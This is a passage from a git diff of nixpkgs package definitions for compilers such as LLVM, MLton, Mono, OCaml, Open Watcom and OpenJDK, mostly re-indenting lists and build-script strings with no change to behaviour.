           ]
         )
       }"
-    ] ++ devExtraCmakeFlags;
+    ]
+    ++ devExtraCmakeFlags;
 
     # List of tablegen targets.
-    ninjaFlags =
-      [
-        "clang-tblgen"
-        "llvm-tblgen"
-      ]
-      ++ lib.optionals (lib.versionAtLeast release_version "15") [
-        "clang-tidy-confusable-chars-gen"
-      ]
-      ++ lib.optionals (lib.versionAtLeast release_version "16") [
-        "mlir-tblgen"
-      ]
-      ++
-        lib.optionals ((lib.versionAtLeast release_version "15") && (lib.versionOlder release_version "20"))
-          [
-            "clang-pseudo-gen" # Removed in LLVM 20 @ ed8f78827895050442f544edef2933a60d4a7935.
-          ];
+    ninjaFlags = [
+      "clang-tblgen"
+      "llvm-tblgen"
+    ]
+    ++ lib.optionals (lib.versionAtLeast release_version "15") [
+      "clang-tidy-confusable-chars-gen"
+    ]
+    ++ lib.optionals (lib.versionAtLeast release_version "16") [
+      "mlir-tblgen"
+    ]
+    ++
+      lib.optionals ((lib.versionAtLeast release_version "15") && (lib.versionOlder release_version "20"))
+        [
+          "clang-pseudo-gen" # Removed in LLVM 20 @ ed8f78827895050442f544edef2933a60d4a7935.
+        ];
 
     installPhase = ''
       mkdir -p $out
diff --git a/pkgs/development/compilers/llvm/default.nix b/pkgs/development/compilers/llvm/default.nix
index 9d9bcaa9d1b8..2721bf24f56f 100644
--- a/pkgs/development/compilers/llvm/default.nix
+++ b/pkgs/development/compilers/llvm/default.nix
@@ -38,7 +38,8 @@ let
       rev-version = "22.0.0-unstable-2025-07-20";
       sha256 = "sha256-rMiPa8T2n0IWtOv0SYb+eWWHRfPTBGEb4yCp11gVzRE=";
     };
-  } // llvmVersions;
+  }
+  // llvmVersions;
 
   mkPackage =
     {
diff --git a/pkgs/development/compilers/mlton/20130715.nix b/pkgs/development/compilers/mlton/20130715.nix
index 6cf88e34b57d..3dccdf218905 100644
--- a/pkgs/development/compilers/mlton/20130715.nix
+++ b/pkgs/development/compilers/mlton/20130715.nix
@@ -54,61 +54,59 @@ stdenv.mkDerivation rec {
 
   makeFlags = [ "all-no-docs" ];
 
-  configurePhase =
-    ''
-      # Fix paths in the source.
-      find . -type f | grep -v -e '\.tgz''$' | xargs sed -i "s@/usr/bin/env bash@$(type -p bash)@"
+  configurePhase = ''
+    # Fix paths in the source.
+    find . -type f | grep -v -e '\.tgz''$' | xargs sed -i "s@/usr/bin/env bash@$(type -p bash)@"
 
-      substituteInPlace $(pwd)/Makefile --replace '/bin/cp' $(type -p cp)
-      substituteInPlace bin/mlton-script --replace gcc cc
-      substituteInPlace bin/regression --replace gcc cc
-      substituteInPlace lib/mlnlffi-lib/Makefile --replace gcc cc
-      substituteInPlace mlnlffigen/gen-cppcmd --replace gcc cc
-      substituteInPlace runtime/Makefile --replace gcc cc
-      substituteInPlace ../${usr_prefix}/bin/mlton --replace gcc cc
+    substituteInPlace $(pwd)/Makefile --replace '/bin/cp' $(type -p cp)
+    substituteInPlace bin/mlton-script --replace gcc cc
+    substituteInPlace bin/regression --replace gcc cc
+    substituteInPlace lib/mlnlffi-lib/Makefile --replace gcc cc
+    substituteInPlace mlnlffigen/gen-cppcmd --replace gcc cc
+    substituteInPlace runtime/Makefile --replace gcc cc
+    substituteInPlace ../${usr_prefix}/bin/mlton --replace gcc cc
 
-      # Fix paths in the binary distribution.
-      BIN_DIST_DIR="$(pwd)/../${usr_prefix}"
-      for f in "bin/mlton" "lib/mlton/platform" "lib/mlton/static-library" ; do
-        substituteInPlace "$BIN_DIST_DIR/$f" --replace '/${usr_prefix}/bin/env bash' $(type -p bash)
-      done
+    # Fix paths in the binary distribution.
+    BIN_DIST_DIR="$(pwd)/../${usr_prefix}"
+    for f in "bin/mlton" "lib/mlton/platform" "lib/mlton/static-library" ; do
+      substituteInPlace "$BIN_DIST_DIR/$f" --replace '/${usr_prefix}/bin/env bash' $(type -p bash)
+    done
 
-      substituteInPlace $(pwd)/../${usr_prefix}/bin/mlton --replace '/${usr_prefix}/lib/mlton' $(pwd)/../${usr_prefix}/lib/mlton
-    ''
-    + lib.optionalString stdenv.cc.isClang ''
-      sed -i "s_	patch -s -p0 <gdtoa.hide-public-fns.patch_	patch -s -p0 <gdtoa.hide-public-fns.patch\n\tsed -i 's|printf(emptyfmt|printf(\"\"|g' ./gdtoa/arithchk.c_" ./runtime/Makefile
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      sed -i 's|XCFLAGS += -I/usr/local/include -I/sw/include -I/opt/local/include||' ./runtime/Makefile
-    '';
+    substituteInPlace $(pwd)/../${usr_prefix}/bin/mlton --replace '/${usr_prefix}/lib/mlton' $(pwd)/../${usr_prefix}/lib/mlton
+  ''
+  + lib.optionalString stdenv.cc.isClang ''
+    sed -i "s_	patch -s -p0 <gdtoa.hide-public-fns.patch_	patch -s -p0 <gdtoa.hide-public-fns.patch\n\tsed -i 's|printf(emptyfmt|printf(\"\"|g' ./gdtoa/arithchk.c_" ./runtime/Makefile
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    sed -i 's|XCFLAGS += -I/usr/local/include -I/sw/include -I/opt/local/include||' ./runtime/Makefile
+  '';
 
-  preBuild =
-    ''
-      # To build the source we have to put the binary distribution in the $PATH.
-      export PATH="$PATH:$(pwd)/../${usr_prefix}/bin/"
+  preBuild = ''
+    # To build the source we have to put the binary distribution in the $PATH.
+    export PATH="$PATH:$(pwd)/../${usr_prefix}/bin/"
 
-      # Let the builder execute the binary distribution.
-      chmod u+x $(pwd)/../${usr_prefix}/bin/mllex
-      chmod u+x $(pwd)/../${usr_prefix}/bin/mlyacc
-      chmod u+x $(pwd)/../${usr_prefix}/bin/mlton
+    # Let the builder execute the binary distribution.
+    chmod u+x $(pwd)/../${usr_prefix}/bin/mllex
+    chmod u+x $(pwd)/../${usr_prefix}/bin/mlyacc
+    chmod u+x $(pwd)/../${usr_prefix}/bin/mlton
 
-      # So the builder runs the binary compiler with gmp.
-      export LD_LIBRARY_PATH=${gmp.out}/lib''${LD_LIBRARY_PATH:+:}$LD_LIBRARY_PATH
+    # So the builder runs the binary compiler with gmp.
+    export LD_LIBRARY_PATH=${gmp.out}/lib''${LD_LIBRARY_PATH:+:}$LD_LIBRARY_PATH
 
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      # Patch ELF interpreter.
-      patchelf --set-interpreter ${dynamic_linker} $(pwd)/../${usr_prefix}/lib/mlton/mlton-compile
-      for e in mllex mlyacc ; do
-        patchelf --set-interpreter ${dynamic_linker} $(pwd)/../${usr_prefix}/bin/$e
-      done
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      # Patch libgmp linking
-      install_name_tool -change /opt/local/lib/libgmp.10.dylib ${gmp}/lib/libgmp.10.dylib $(pwd)/../${usr_prefix}/lib/mlton/mlton-compile
-      install_name_tool -change /opt/local/lib/libgmp.10.dylib ${gmp}/lib/libgmp.10.dylib $(pwd)/../${usr_prefix}/bin/mlyacc
-      install_name_tool -change /opt/local/lib/libgmp.10.dylib ${gmp}/lib/libgmp.10.dylib $(pwd)/../${usr_prefix}/bin/mllex
-    '';
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    # Patch ELF interpreter.
+    patchelf --set-interpreter ${dynamic_linker} $(pwd)/../${usr_prefix}/lib/mlton/mlton-compile
+    for e in mllex mlyacc ; do
+      patchelf --set-interpreter ${dynamic_linker} $(pwd)/../${usr_prefix}/bin/$e
+    done
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    # Patch libgmp linking
+    install_name_tool -change /opt/local/lib/libgmp.10.dylib ${gmp}/lib/libgmp.10.dylib $(pwd)/../${usr_prefix}/lib/mlton/mlton-compile
+    install_name_tool -change /opt/local/lib/libgmp.10.dylib ${gmp}/lib/libgmp.10.dylib $(pwd)/../${usr_prefix}/bin/mlyacc
+    install_name_tool -change /opt/local/lib/libgmp.10.dylib ${gmp}/lib/libgmp.10.dylib $(pwd)/../${usr_prefix}/bin/mllex
+  '';
 
   doCheck = true;
 
diff --git a/pkgs/development/compilers/mono/generic.nix b/pkgs/development/compilers/mono/generic.nix
index 72f560c7e456..b4d598cf8355 100644
--- a/pkgs/development/compilers/mono/generic.nix
+++ b/pkgs/development/compilers/mono/generic.nix
@@ -87,16 +87,15 @@ stdenv.mkDerivation (finalAttrs: {
   # Without this, any Mono application attempting to open an SSL connection will throw with
   # The authentication or decryption has failed.
   # ---> Mono.Security.Protocol.Tls.TlsException: Invalid certificate received from server.
-  postInstall =
-    ''
-      echo "Updating Mono key store"
-      $out/bin/cert-sync ${cacert}/etc/ssl/certs/ca-bundle.crt
-    ''
-    # According to [1], gmcs is just mcs
-    # [1] https://github.com/mono/mono/blob/master/scripts/gmcs.in
-    + ''
-      ln -s $out/bin/mcs $out/bin/gmcs
-    '';
+  postInstall = ''
+    echo "Updating Mono key store"
+    $out/bin/cert-sync ${cacert}/etc/ssl/certs/ca-bundle.crt
+  ''
+  # According to [1], gmcs is just mcs
+  # [1] https://github.com/mono/mono/blob/master/scripts/gmcs.in
+  + ''
+    ln -s $out/bin/mcs $out/bin/gmcs
+  '';
 
   inherit enableParallelBuilding;
 
diff --git a/pkgs/development/compilers/obliv-c/default.nix b/pkgs/development/compilers/obliv-c/default.nix
index 00d38215ff1e..2f6777a0b556 100644
--- a/pkgs/development/compilers/obliv-c/default.nix
+++ b/pkgs/development/compilers/obliv-c/default.nix
@@ -12,13 +12,14 @@ stdenv.mkDerivation {
   version = "0.0pre20210621";
 
   strictDeps = true;
-  nativeBuildInputs =
-    [ perl ]
-    ++ (with ocamlPackages; [
-      ocaml
-      findlib
-      ocamlbuild
-    ]);
+  nativeBuildInputs = [
+    perl
+  ]
+  ++ (with ocamlPackages; [
+    ocaml
+    findlib
+    ocamlbuild
+  ]);
   buildInputs = [ ocamlPackages.num ];
   propagatedBuildInputs = [ libgcrypt ];
   src = fetchFromGitHub {
diff --git a/pkgs/development/compilers/ocaml/4.00.1.nix b/pkgs/development/compilers/ocaml/4.00.1.nix
index 337bf3c4dafd..e6b80294592f 100644
--- a/pkgs/development/compilers/ocaml/4.00.1.nix
+++ b/pkgs/development/compilers/ocaml/4.00.1.nix
@@ -37,18 +37,20 @@ stdenv.mkDerivation rec {
   env.NIX_CFLAGS_COMPILE = "-fcommon";
 
   prefixKey = "-prefix ";
-  configureFlags =
-    [ "-no-tk" ]
-    ++ optionals useX11 [
-      "-x11lib"
-      libX11
-    ];
-  buildFlags =
-    [ "world" ]
-    ++ optionals useNativeCompilers [
-      "bootstrap"
-      "world.opt"
-    ];
+  configureFlags = [
+    "-no-tk"
+  ]
+  ++ optionals useX11 [
+    "-x11lib"
+    libX11
+  ];
+  buildFlags = [
+    "world"
+  ]
+  ++ optionals useNativeCompilers [
+    "bootstrap"
+    "world.opt"
+  ];
   buildInputs = [ ncurses ] ++ optionals useX11 [ libX11 ];
   installTargets = "install" + optionalString useNativeCompilers " installopt";
   preConfigure = ''
diff --git a/pkgs/development/compilers/open-watcom/v2.nix b/pkgs/development/compilers/open-watcom/v2.nix
index 2d4761b382f2..8850afddbd29 100644
--- a/pkgs/development/compilers/open-watcom/v2.nix
+++ b/pkgs/development/compilers/open-watcom/v2.nix
@@ -23,34 +23,32 @@ stdenv.mkDerivation rec {
     hash = "sha256-9NNJcDHxOo+NKZraGqsHqK5whO3nL0QTeh+imzhThTg=";
   };
 
-  postPatch =
-    ''
-      patchShebangs *.sh
+  postPatch = ''
+    patchShebangs *.sh
 
-      for dateSource in bld/wipfc/configure; do
-        substituteInPlace $dateSource \
-          --replace-fail '`date ' '`date -ud "@$SOURCE_DATE_EPOCH" '
-      done
+    for dateSource in bld/wipfc/configure; do
+      substituteInPlace $dateSource \
+        --replace-fail '`date ' '`date -ud "@$SOURCE_DATE_EPOCH" '
+    done
 
-      substituteInPlace bld/watcom/h/banner.h \
-        --replace-fail '__DATE__' "\"$(date -ud "@$SOURCE_DATE_EPOCH" +'%b %d %Y')\"" \
-        --replace-fail '__TIME__' "\"$(date -ud "@$SOURCE_DATE_EPOCH" +'%T')\""
+    substituteInPlace bld/watcom/h/banner.h \
+      --replace-fail '__DATE__' "\"$(date -ud "@$SOURCE_DATE_EPOCH" +'%b %d %Y')\"" \
+      --replace-fail '__TIME__' "\"$(date -ud "@$SOURCE_DATE_EPOCH" +'%T')\""
 
-      substituteInPlace build/makeinit \
-        --replace-fail '$+$(%__CYEAR__)$-' "$(date -ud "@$SOURCE_DATE_EPOCH" +'%Y')"
-    ''
-    + lib.optionalString (!stdenv.hostPlatform.isDarwin) ''
-      substituteInPlace build/mif/local.mif \
-        --replace-fail '-static' ""
-    '';
+    substituteInPlace build/makeinit \
+      --replace-fail '$+$(%__CYEAR__)$-' "$(date -ud "@$SOURCE_DATE_EPOCH" +'%Y')"
+  ''
+  + lib.optionalString (!stdenv.hostPlatform.isDarwin) ''
+    substituteInPlace build/mif/local.mif \
+      --replace-fail '-static' ""
+  '';
 
-  nativeBuildInputs =
-    [
-      dosbox
-    ]
-    ++ lib.optionals withDocs [
-      ghostscript
-    ];
+  nativeBuildInputs = [
+    dosbox
+  ]
+  ++ lib.optionals withDocs [
+    ghostscript
+  ];
 
   configurePhase = ''
     runHook preConfigure
@@ -101,35 +99,34 @@ stdenv.mkDerivation rec {
 
   meta = with lib; {
     description = "V2 fork of the Open Watcom suite of compilers and tools";
-    longDescription =
-      ''
-        A fork of Open Watcom: A C/C++/Fortran compiler and assembler suite
-        targeting a multitude of architectures (x86, IA-32, Alpha AXP, MIPS,
-        PowerPC) and operating systems (DOS, OS/2, Windows, Linux).
+    longDescription = ''
+      A fork of Open Watcom: A C/C++/Fortran compiler and assembler suite
+      targeting a multitude of architectures (x86, IA-32, Alpha AXP, MIPS,
+      PowerPC) and operating systems (DOS, OS/2, Windows, Linux).
 
-        Main differences from Open Watcom 1.9:
+      Main differences from Open Watcom 1.9:
 
-        - New two-phase build system - Open Watcom can be built by the host's
-          native C/C++ compiler or by itself
-        - Code generator properly initializes pointers by DLL symbol addresses
-        - DOS tools now support long file names (LFN) if appropriate LFN driver
-          is loaded by DOS
-        - Open Watcom is ported to 64-bit hosts (Win64, Linux x64)
-        - Librarian supports x64 CPU object modules and libraries
-        - RDOS 32-bit C run-time compact memory model libraries are fixed
-        - Resource compiler and Resource editors support Win64 executables
-        - Open Watcom text editor is now self-contained, it can be used as
-          standalone tool without any requirements for any additional files or
-          configuration
-        - Broken C++ compiler pre-compiled header template support is fixed
-        - Many C++ compiler crashes are fixed
-        - Debugger has no length limit for any used environment variable
-      ''
-      + lib.optionalString (!withDocs) ''
+      - New two-phase build system - Open Watcom can be built by the host's
+        native C/C++ compiler or by itself
+      - Code generator properly initializes pointers by DLL symbol addresses
+      - DOS tools now support long file names (LFN) if appropriate LFN driver
+        is loaded by DOS
+      - Open Watcom is ported to 64-bit hosts (Win64, Linux x64)
+      - Librarian supports x64 CPU object modules and libraries
+      - RDOS 32-bit C run-time compact memory model libraries are fixed
+      - Resource compiler and Resource editors support Win64 executables
+      - Open Watcom text editor is now self-contained, it can be used as
+        standalone tool without any requirements for any additional files or
+        configuration
+      - Broken C++ compiler pre-compiled header template support is fixed
+      - Many C++ compiler crashes are fixed
+      - Debugger has no length limit for any used environment variable
+    ''
+    + lib.optionalString (!withDocs) ''
 
-        The documentation has been excluded from this build for build time reasons. It can be found here:
-        https://github.com/open-watcom/open-watcom-v2/wiki/Open-Watcom-Documentation
-      '';
+      The documentation has been excluded from this build for build time reasons. It can be found here:
+      https://github.com/open-watcom/open-watcom-v2/wiki/Open-Watcom-Documentation
+    '';
     homepage = "https://open-watcom.github.io";
     license = licenses.watcom;
     platforms = with platforms; windows ++ unix;
diff --git a/pkgs/development/compilers/openjdk/generic.nix b/pkgs/development/compilers/openjdk/generic.nix
index f397a7c2105b..f05c4801024e 100644
--- a/pkgs/development/compilers/openjdk/generic.nix
+++ b/pkgs/development/compilers/openjdk/generic.nix
@@ -136,192 +136,188 @@ stdenv.mkDerivation (finalAttrs: {
   pname = "openjdk" + lib.optionalString headless "-headless";
   inherit version;
 
-  outputs =
-    [
-      "out"
-    ]
-    ++ lib.optionals (!atLeast11) [
-      "jre"
-    ];
+  outputs = [
+    "out"
+  ]
+  ++ lib.optionals (!atLeast11) [
+    "jre"
+  ];
 
   inherit (source) src;
 
-  patches =
-    [
-      (
-        if atLeast24 then
-          ./24/patches/fix-java-home-jdk24.patch
-        else if atLeast21 then
-          ./21/patches/fix-java-home-jdk21.patch
-        else if atLeast11 then
-          ./11/patches/fix-java-home-jdk10.patch
-        else
-          ./8/patches/fix-java-home-jdk8.patch
-      )
-      (
-        if atLeast24 then
-          ./24/patches/read-truststore-from-env-jdk24.patch
-        else if atLeast11 then
-          ./11/patches/read-truststore-from-env-jdk10.patch
-        else
-          ./8/patches/read-truststore-from-env-jdk8.patch
-      )
-    ]
-    ++ lib.optionals (!atLeast23) [
-      (
-        if atLeast11 then
-          ./11/patches/currency-date-range-jdk10.patch
-        else
-          ./8/patches/currency-date-range-jdk8.patch
-      )
-    ]
-    ++ lib.optionals atLeast11 [
-      (
-        if atLeast17 then
-          ./17/patches/increase-javadoc-heap-jdk13.patch
-        else
-          ./11/patches/increase-javadoc-heap.patch
-      )
-    ]
-    ++ lib.optionals atLeast17 [
-      (
-        if atLeast21 then
-          ./21/patches/ignore-LegalNoticeFilePlugin-jdk18.patch
-        else
-          ./17/patches/ignore-LegalNoticeFilePlugin-jdk17.patch
-      )
-    ]
-    ++ lib.optionals (!atLeast21) [
-      (
-        if atLeast17 then
-          ./17/patches/fix-library-path-jdk17.patch
-        else if atLeast11 then
-          ./11/patches/fix-library-path-jdk11.patch
-        else
-          ./8/patches/fix-library-path-jdk8.patch
-      )
-    ]
-    ++ lib.optionals (atLeast17 && !atLeast23) [
-      # -Wformat etc. are stricter in newer gccs, per
-      # https://gcc.gnu.org/bugzilla/show_bug.cgi?id=79677
-      # so grab the work-around from
-      # https://src.fedoraproject.org/rpms/java-openjdk/pull-request/24
-      (fetchurl {
-        url = "https://src.fedoraproject.org/rpms/java-openjdk/raw/06c001c7d87f2e9fe4fedeef2d993bcd5d7afa2a/f/rh1673833-remove_removal_of_wformat_during_test_compilation.patch";
-        sha256 = "082lmc30x64x583vqq00c8y0wqih3y4r0mp1c4bqq36l22qv6b6r";
-      })
-    ]
-    ++ lib.optionals (featureVersion == "17") [
-      # Patch borrowed from Alpine to fix build errors with musl libc and recent gcc.
-      # This is applied anywhere to prevent patchrot.
-      (fetchurl {
-        url = "https://git.alpinelinux.org/aports/plain/community/openjdk17/FixNullPtrCast.patch?id=41e78a067953e0b13d062d632bae6c4f8028d91c";
-        sha256 = "sha256-LzmSew51+DyqqGyyMw2fbXeBluCiCYsS1nCjt9hX6zo=";
-      })
-    ]
-    ++ lib.optionals atLeast11 [
-      # Fix build for gnumake-4.4.1:
-      #   https://github.com/openjdk/jdk/pull/12992
-      (fetchpatch {
-        name = "gnumake-4.4.1";
-        url = "https://github.com/openjdk/jdk/commit/9341d135b855cc208d48e47d30cd90aafa354c36.patch";
-        hash = "sha256-Qcm3ZmGCOYLZcskNjj7DYR85R4v07vYvvavrVOYL8vg=";
-      })
-    ]
-    ++ lib.optionals (!headless && enableGtk) [
-      (
-        if atLeast17 then
-          ./17/patches/swing-use-gtk-jdk13.patch
-        else if atLeast11 then
-          ./11/patches/swing-use-gtk-jdk10.patch
-        else
-          ./8/patches/swing-use-gtk-jdk8.patch
-      )
-    ];
+  patches = [
+    (
+      if atLeast24 then
+        ./24/patches/fix-java-home-jdk24.patch
+      else if atLeast21 then
+        ./21/patches/fix-java-home-jdk21.patch
+      else if atLeast11 then
+        ./11/patches/fix-java-home-jdk10.patch
+      else
+        ./8/patches/fix-java-home-jdk8.patch
+    )
+    (
+      if atLeast24 then
+        ./24/patches/read-truststore-from-env-jdk24.patch
+      else if atLeast11 then
+        ./11/patches/read-truststore-from-env-jdk10.patch
+      else
+        ./8/patches/read-truststore-from-env-jdk8.patch
+    )
+  ]
+  ++ lib.optionals (!atLeast23) [
+    (
+      if atLeast11 then
+        ./11/patches/currency-date-range-jdk10.patch
+      else
+        ./8/patches/currency-date-range-jdk8.patch
+    )
+  ]
+  ++ lib.optionals atLeast11 [
+    (
+      if atLeast17 then
+        ./17/patches/increase-javadoc-heap-jdk13.patch
+      else
+        ./11/patches/increase-javadoc-heap.patch
+    )
+  ]
+  ++ lib.optionals atLeast17 [
+    (
+      if atLeast21 then
+        ./21/patches/ignore-LegalNoticeFilePlugin-jdk18.patch
+      else
+        ./17/patches/ignore-LegalNoticeFilePlugin-jdk17.patch
+    )
+  ]
+  ++ lib.optionals (!atLeast21) [
+    (
+      if atLeast17 then
+        ./17/patches/fix-library-path-jdk17.patch
+      else if atLeast11 then
+        ./11/patches/fix-library-path-jdk11.patch
+      else
+        ./8/patches/fix-library-path-jdk8.patch
+    )
+  ]
+  ++ lib.optionals (atLeast17 && !atLeast23) [
+    # -Wformat etc. are stricter in newer gccs, per
+    # https://gcc.gnu.org/bugzilla/show_bug.cgi?id=79677
+    # so grab the work-around from
+    # https://src.fedoraproject.org/rpms/java-openjdk/pull-request/24
+    (fetchurl {
+      url = "https://src.fedoraproject.org/rpms/java-openjdk/raw/06c001c7d87f2e9fe4fedeef2d993bcd5d7afa2a/f/rh1673833-remove_removal_of_wformat_during_test_compilation.patch";
+      sha256 = "082lmc30x64x583vqq00c8y0wqih3y4r0mp1c4bqq36l22qv6b6r";
+    })
+  ]
+  ++ lib.optionals (featureVersion == "17") [
+    # Patch borrowed from Alpine to fix build errors with musl libc and recent gcc.
+    # This is applied anywhere to prevent patchrot.
+    (fetchurl {
+      url = "https://git.alpinelinux.org/aports/plain/community/openjdk17/FixNullPtrCast.patch?id=41e78a067953e0b13d062d632bae6c4f8028d91c";
+      sha256 = "sha256-LzmSew51+DyqqGyyMw2fbXeBluCiCYsS1nCjt9hX6zo=";
+    })
+  ]
+  ++ lib.optionals atLeast11 [
+    # Fix build for gnumake-4.4.1:
+    #   https://github.com/openjdk/jdk/pull/12992
+    (fetchpatch {
+      name = "gnumake-4.4.1";
+      url = "https://github.com/openjdk/jdk/commit/9341d135b855cc208d48e47d30cd90aafa354c36.patch";
+      hash = "sha256-Qcm3ZmGCOYLZcskNjj7DYR85R4v07vYvvavrVOYL8vg=";
+    })
+  ]
+  ++ lib.optionals (!headless && enableGtk) [
+    (
+      if atLeast17 then
+        ./17/patches/swing-use-gtk-jdk13.patch
+      else if atLeast11 then
+        ./11/patches/swing-use-gtk-jdk10.patch
+      else
+        ./8/patches/swing-use-gtk-jdk8.patch
+    )
+  ];
 
   strictDeps = true;
 
   depsBuildBuild = [ buildPackages.stdenv.cc ];
 
-  nativeBuildInputs =
-    [
-      pkg-config
-    ]
-    ++ lib.optionals atLeast11 [
-      autoconf
-    ]
-    ++ lib.optionals (!atLeast11) [
-      lndir
-      # Certificates generated using perl in `installPhase`
-      perl
-    ]
-    ++ lib.optionals (!atLeast11 && !stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
-      # Certificates generated using keytool in `installPhase`
-      buildPackages.jdk8
-    ]
-    ++ [
-      unzip
-      zip
-      which
-      # Probably for BUILD_CC but not sure, not in closure.
-      zlib
-    ]
-    ++ lib.optionals atLeast21 [
-      ensureNewerSourcesForZipFilesHook
-    ]
-    ++ lib.optionals atLeast24 [
-      pandoc
-    ];
+  nativeBuildInputs = [
+    pkg-config
+  ]
+  ++ lib.optionals atLeast11 [
+    autoconf
+  ]
+  ++ lib.optionals (!atLeast11) [
+    lndir
+    # Certificates generated using perl in `installPhase`
+    perl
+  ]
+  ++ lib.optionals (!atLeast11 && !stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
+    # Certificates generated using keytool in `installPhase`
+    buildPackages.jdk8
+  ]
+  ++ [
+    unzip
+    zip
+    which
+    # Probably for BUILD_CC but not sure, not in closure.
+    zlib
+  ]
+  ++ lib.optionals atLeast21 [
+    ensureNewerSourcesForZipFilesHook
+  ]
+  ++ lib.optionals atLeast24 [
+    pandoc
+  ];
 
-  buildInputs =
-    [
-      # TODO: Many of these should likely be in `nativeBuildInputs`.
-      cpio
-      # `-lmagic` in NIX_LDFLAGS
-      file
-      cups
-      freetype
-    ]
-    ++ lib.optionals (atLeast11 && !atLeast21) [
-      harfbuzz
-    ]
-    ++ [
-      alsa-lib
-      libjpeg
-      giflib
-    ]
-    ++ lib.optionals atLeast11 [
-      libpng
-      zlib # duplicate
-      lcms2
-    ]
-    ++ [
-      libX11
-      libICE
-    ]
-    ++ lib.optionals (!atLeast11) [
-      libXext
-    ]
-    ++ [
-      libXrender
-    ]
-    ++ lib.optionals atLeast11 [
-      libXext
-    ]
-    ++ [
-      libXtst
-      libXt
-      libXtst # duplicate
-      libXi
-      libXinerama
-      libXcursor
-      libXrandr
-      fontconfig
-    ]
-    ++ lib.optionals (!headless && enableGtk) [
-      (if atLeast11 then gtk3 else gtk2)
-      glib
-    ];
+  buildInputs = [
+    # TODO: Many of these should likely be in `nativeBuildInputs`.
+    cpio
+    # `-lmagic` in NIX_LDFLAGS
+    file
+    cups
+    freetype
+  ]
+  ++ lib.optionals (atLeast11 && !atLeast21) [
+    harfbuzz
+  ]
+  ++ [
+    alsa-lib
+    libjpeg
+    giflib
+  ]
+  ++ lib.optionals atLeast11 [
+    libpng
+    zlib # duplicate
+    lcms2
+  ]
+  ++ [
+    libX11
+    libICE
+  ]
+  ++ lib.optionals (!atLeast11) [
+    libXext
+  ]
+  ++ [
+    libXrender
+  ]
+  ++ lib.optionals atLeast11 [
+    libXext
+  ]
+  ++ [
+    libXtst
+    libXt
+    libXtst # duplicate
+    libXi
+    libXinerama
+    libXcursor
+    libXrandr
+    fontconfig
+  ]
+  ++ lib.optionals (!headless && enableGtk) [
+    (if atLeast11 then gtk3 else gtk2)
+    glib
+  ];
 
   propagatedBuildInputs = lib.optionals (!atLeast11) [ setJavaClassPath ];
 
@@ -338,92 +334,91 @@ stdenv.mkDerivation (finalAttrs: {
   ];
 
   # https://openjdk.org/groups/build/doc/building.html
-  configureFlags =
-    [
-      "--with-boot-jdk=${jdk-bootstrap'.home}"
-      # https://github.com/openjdk/jdk/blob/471f112bca715d04304cbe35c6ed63df8c7b7fee/make/autoconf/util_paths.m4#L315
-      # Ignoring value of READELF from the environment. Use command line variables instead.
-      "READELF=${stdenv.cc.targetPrefix}readelf"
-      "AR=${stdenv.cc.targetPrefix}ar"
-      "STRIP=${stdenv.cc.targetPrefix}strip"
-      "NM=${stdenv.cc.targetPrefix}nm"
-      "OBJDUMP=${stdenv.cc.targetPrefix}objdump"
-      "OBJCOPY=${stdenv.cc.targetPrefix}objcopy"
-    ]
-    ++ (
-      if atLeast23 then
-        [
-          "--with-version-string=${version}"
-          "--with-vendor-version-string=(nix)"
-        ]
-      else if atLeast11 then
-        lib.optionals atLeast17 [
-          "--with-version-build=${versionBuild}"
-          "--with-version-opt=nixos"
-        ]
-        ++ [
-          "--with-version-pre="
-        ]
-      else
-        [
-          "--with-update-version=${lib.removePrefix "${featureVersion}u" (lib.elemAt versionSplit 0)}"
-          "--with-build-number=${versionBuild}"
-          "--with-milestone=fcs"
-        ]
-    )
-    ++ [
-      "--enable-unlimited-crypto"
-      "--with-native-debug-symbols=internal"
-    ]
-    ++ lib.optionals (!atLeast21) (
-      if atLeast11 then
-        [
-          "--with-freetype=system"
-          "--with-harfbuzz=system"
-        ]
-      else
-        [
-          "--disable-freetype-bundling"
-        ]
-    )
-    ++ (
-      if atLeast11 then
-        [
-          "--with-libjpeg=system"
-          "--with-giflib=system"
-          "--with-libpng=system"
-          "--with-zlib=system"
-          "--with-lcms=system"
-        ]
-      else
-        [
-          "--with-zlib=system"
-          "--with-giflib=system"
-        ]
-    )
-    ++ [
-      "--with-stdc++lib=dynamic"
-    ]
-    ++ lib.optionals (featureVersion == "11") [
-      "--disable-warnings-as-errors"
-    ]
-    # OpenJDK 11 cannot be built by recent versions of Clang, as far as I can tell (see
-    # https://bugs.freebsd.org/bugzilla/show_bug.cgi?id=260319). Known to
-    # compile with LLVM 12.
-    ++ lib.optionals (atLeast11 && stdenv.cc.isClang) [
-      "--with-toolchain-type=clang"
-      # Explicitly tell Clang to compile C++ files as C++, see
-      # https://github.com/NixOS/nixpkgs/issues/150655#issuecomment-1935304859
-      "--with-extra-cxxflags=-xc++"
-    ]
-    # This probably shouldn’t apply to OpenJDK 21; see
-    # b7e68243306833845cbf92e2ea1e0cf782481a51 which removed it for
-    # versions 15 through 20.
-    ++ lib.optional (
-      (featureVersion == "11" || featureVersion == "21") && stdenv.hostPlatform.isx86_64
-    ) "--with-jvm-features=zgc"
-    ++ lib.optional headless (if atLeast11 then "--enable-headless-only" else "--disable-headful")
-    ++ lib.optional (!headless && enableJavaFX) "--with-import-modules=${openjfx_jdk}";
+  configureFlags = [
+    "--with-boot-jdk=${jdk-bootstrap'.home}"
+    # https://github.com/openjdk/jdk/blob/471f112bca715d04304cbe35c6ed63df8c7b7fee/make/autoconf/util_paths.m4#L315
+    # Ignoring value of READELF from the environment. Use command line variables instead.
+    "READELF=${stdenv.cc.targetPrefix}readelf"
+    "AR=${stdenv.cc.targetPrefix}ar"
+    "STRIP=${stdenv.cc.targetPrefix}strip"
+    "NM=${stdenv.cc.targetPrefix}nm"
+    "OBJDUMP=${stdenv.cc.targetPrefix}objdump"
+    "OBJCOPY=${stdenv.cc.targetPrefix}objcopy"
+  ]
+  ++ (
+    if atLeast23 then
+      [
+        "--with-version-string=${version}"
+        "--with-vendor-version-string=(nix)"
+      ]
+    else if atLeast11 then
+      lib.optionals atLeast17 [
+        "--with-version-build=${versionBuild}"
